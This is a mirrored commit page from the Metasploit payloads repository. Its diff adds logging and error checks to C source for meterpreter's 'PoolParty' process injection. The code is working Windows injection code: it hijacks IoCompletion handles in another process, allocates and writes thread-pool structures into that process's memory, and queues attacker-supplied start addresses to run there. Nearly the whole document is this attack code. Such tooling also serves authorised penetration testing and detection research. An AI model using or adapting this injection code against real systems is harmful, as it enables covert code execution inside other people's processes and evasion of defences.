1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-12 04:12:05 +02:00

feat(injection): improving logging and error handling

This commit is contained in:
dledda-r7 2024-08-09 07:09:13 -04:00
parent 9e9bb677fa
commit 2af3fe5c67
No known key found for this signature in database
GPG Key ID: 4D4EC504A1F02FFF
2 changed files with 62 additions and 43 deletions
c/meterpreter/source/metsrv

@ -3,6 +3,7 @@
#include "pool_party_ext.h" #include "pool_party_ext.h"
pNtDll *ntdll = NULL; pNtDll *ntdll = NULL;
BOOL bSupportedTechnique[POOLPARTY_TECHNIQUE_COUNT] = { 0 };
pNtDll* GetOrInitNtDll() { pNtDll* GetOrInitNtDll() {
BOOL bError = FALSE; BOOL bError = FALSE;
@ -19,17 +20,24 @@ pNtDll* GetOrInitNtDll() {
if (!bError) { if (!bError) {
HMODULE hNtDll = LoadLibraryA("ntdll.dll"); HMODULE hNtDll = LoadLibraryA("ntdll.dll");
// Hijack Handles // Hijack Handles, we always have this ( hopefully :/ )
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess"); ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject"); ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);
// Remote TP Wait Insertion: WIN11, WIN10(?)
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION] = TRUE;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
// Remote TP Wait Insertion // Remote TP Direct Insertion: WIN11 WIN10(?) WIN7
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket"); // WIN 11, WIN 10(?) ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
if (ntdll->pZwSetIoCompletion != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION] = TRUE;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", ntdll->pZwSetIoCompletion);
// Remote TP Direct Insertion
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion"); // WIN7
//ntdll->pZwSetInformationFile = (NTSTATUS(NTAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG))GetProcAddress(hNtDll, "ZwSetInformationFile"); // WIN7 //ntdll->pZwSetInformationFile = (NTSTATUS(NTAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG))GetProcAddress(hNtDll, "ZwSetInformationFile"); // WIN7
//ntdll->pNtAlpcCreatePort = (NTSTATUS(NTAPI*)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES))GetProcAddress(hNtDll, "NtAlpcCreatePort"); // WIN7 //ntdll->pNtAlpcCreatePort = (NTSTATUS(NTAPI*)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES))GetProcAddress(hNtDll, "NtAlpcCreatePort"); // WIN7
//ntdll->pNtAlpcSetInformation = (NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG))GetProcAddress(hNtDll, "NtAlpcSetInformation"); // WIN7 //ntdll->pNtAlpcSetInformation = (NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG))GetProcAddress(hNtDll, "NtAlpcSetInformation"); // WIN7
@ -42,57 +50,60 @@ pNtDll* GetOrInitNtDll() {
//ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7 //ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
} }
} }
// Ensure every function is resolved.
if (!bError && ntdll != NULL) {
DWORD dwNumOfFunction = sizeof(pNtDll) / sizeof(PVOID);
PVOID* p_ntdll = (PVOID*)ntdll;
for (DWORD i = 0; i < dwNumOfFunction; i++) {
if (p_ntdll[i] == NULL) {
bError = TRUE;
break;
}
}
if (bError) {
HeapFree(hHeap, MEM_RELEASE, ntdll);
ntdll = NULL;
}
}
return ntdll; return ntdll;
} }
HANDLE GetIoCompletionHandle(HANDLE hProcess) { HANDLE GetIoCompletionHandle(HANDLE hProcess) {
HANDLE hHijackHandle = INVALID_HANDLE_VALUE; HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1; ULONG dwInformationSizeIn = 2048;
ULONG dwInformationSizeOut = 0; ULONG dwInformationSizeOut = 0;
HANDLE hCurrProcess = GetCurrentProcess(); HANDLE hCurrProcess = GetCurrentProcess();
HANDLE hHeap = GetProcessHeap(); HANDLE hHeap = GetProcessHeap();
PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcessInfo = NULL; PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcessInfo = NULL;
PPUBLIC_OBJECT_TYPE_INFORMATION lpObjectInfo = NULL; PPUBLIC_OBJECT_TYPE_INFORMATION lpObjectInfo = NULL;
pNtDll* ntDll = GetOrInitNtDll(); pNtDll* ntDll = GetOrInitNtDll();
DWORD ntStatus = 0;
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
while (ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut) == 0xC0000004L) { dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p", lpProcessInfo);
if (dwInformationSizeIn != dwInformationSizeOut) {
while (TRUE) {
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] NtQueryInformationProcess() : %p", ntStatus);
if (ntStatus == 0xC0000004L && dwInformationSizeIn != dwInformationSizeOut) {
lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut); lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
dwInformationSizeIn = dwInformationSizeOut; dwInformationSizeIn = dwInformationSizeOut;
continue;
}
if (ntStatus != 0 && ntStatus != 0xC0000004L) {
HeapFree(hHeap, 0, lpProcessInfo);
return INVALID_HANDLE_VALUE;
}
if (ntStatus == 0) {
break;
} }
} }
dwInformationSizeIn = 1024; dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
dwInformationSizeIn = 2048;
dwInformationSizeOut = 0; dwInformationSizeOut = 0;
lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpObjectInfo: %p", lpObjectInfo);
for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) { for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) {
DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0); if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0)) {
ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut);
if (dwInformationSizeIn > dwInformationSizeOut) { if (dwInformationSizeIn > dwInformationSizeOut) {
if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) { if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) {
break; break;
}
} }
CloseHandle(hHijackHandle);
} }
hHijackHandle = INVALID_HANDLE_VALUE; hHijackHandle = INVALID_HANDLE_VALUE;
} }
HeapFree(hHeap, 0, lpObjectInfo); HeapFree(hHeap, 0, lpObjectInfo);
HeapFree(hHeap, 0, lpProcessInfo); HeapFree(hHeap, 0, lpProcessInfo);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] hHijackHandle: %p", hHijackHandle);
return hHijackHandle; return hHijackHandle;
} }
@ -102,7 +113,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
ULONG dwInformationSizeIn = 1; ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0; ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL; pNtDll* ntDll = NULL;
DWORD dwResult = 1; DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap(); HANDLE hHeap = GetProcessHeap();
do { do {
@ -110,7 +121,9 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
if (ntdll == NULL) { if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
} }
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess); hHijackHandle = GetIoCompletionHandle(hProcess);
if (hHijackHandle == INVALID_HANDLE_VALUE) { if (hHijackHandle == INVALID_HANDLE_VALUE) {
@ -125,9 +138,8 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL); WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL); ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
dwResult = 0;
} }
dwResult = 0;
} while (0); } while (0);
return dwResult; return dwResult;
} }
@ -138,7 +150,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
ULONG dwInformationSizeIn = 1; ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0; ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL; pNtDll* ntDll = NULL;
DWORD dwResult = 1; DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap(); HANDLE hHeap = GetProcessHeap();
TP_DIRECT Direct = { 0 }; TP_DIRECT Direct = { 0 };
do { do {
@ -146,7 +158,9 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
if (ntdll == NULL) { if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
} }
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess); hHijackHandle = GetIoCompletionHandle(hProcess);
if (hHijackHandle == INVALID_HANDLE_VALUE) { if (hHijackHandle == INVALID_HANDLE_VALUE) {
@ -156,11 +170,15 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
if (hHijackHandle != INVALID_HANDLE_VALUE) { if (hHijackHandle != INVALID_HANDLE_VALUE) {
Direct.Callback = lpStartAddress; Direct.Callback = lpStartAddress;
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL); if (!RemoteDirectAddress) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
}
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
dwResult = 0;
} }
dwResult = 0;
} while (0); } while (0);
return dwResult; return dwResult;
} }

@ -5,6 +5,7 @@
#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 0 #define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 0
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 1 #define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 1
#define POOLPARTY_TECHNIQUE_COUNT 2
DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerEvent); DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerEvent);
DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent); DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger);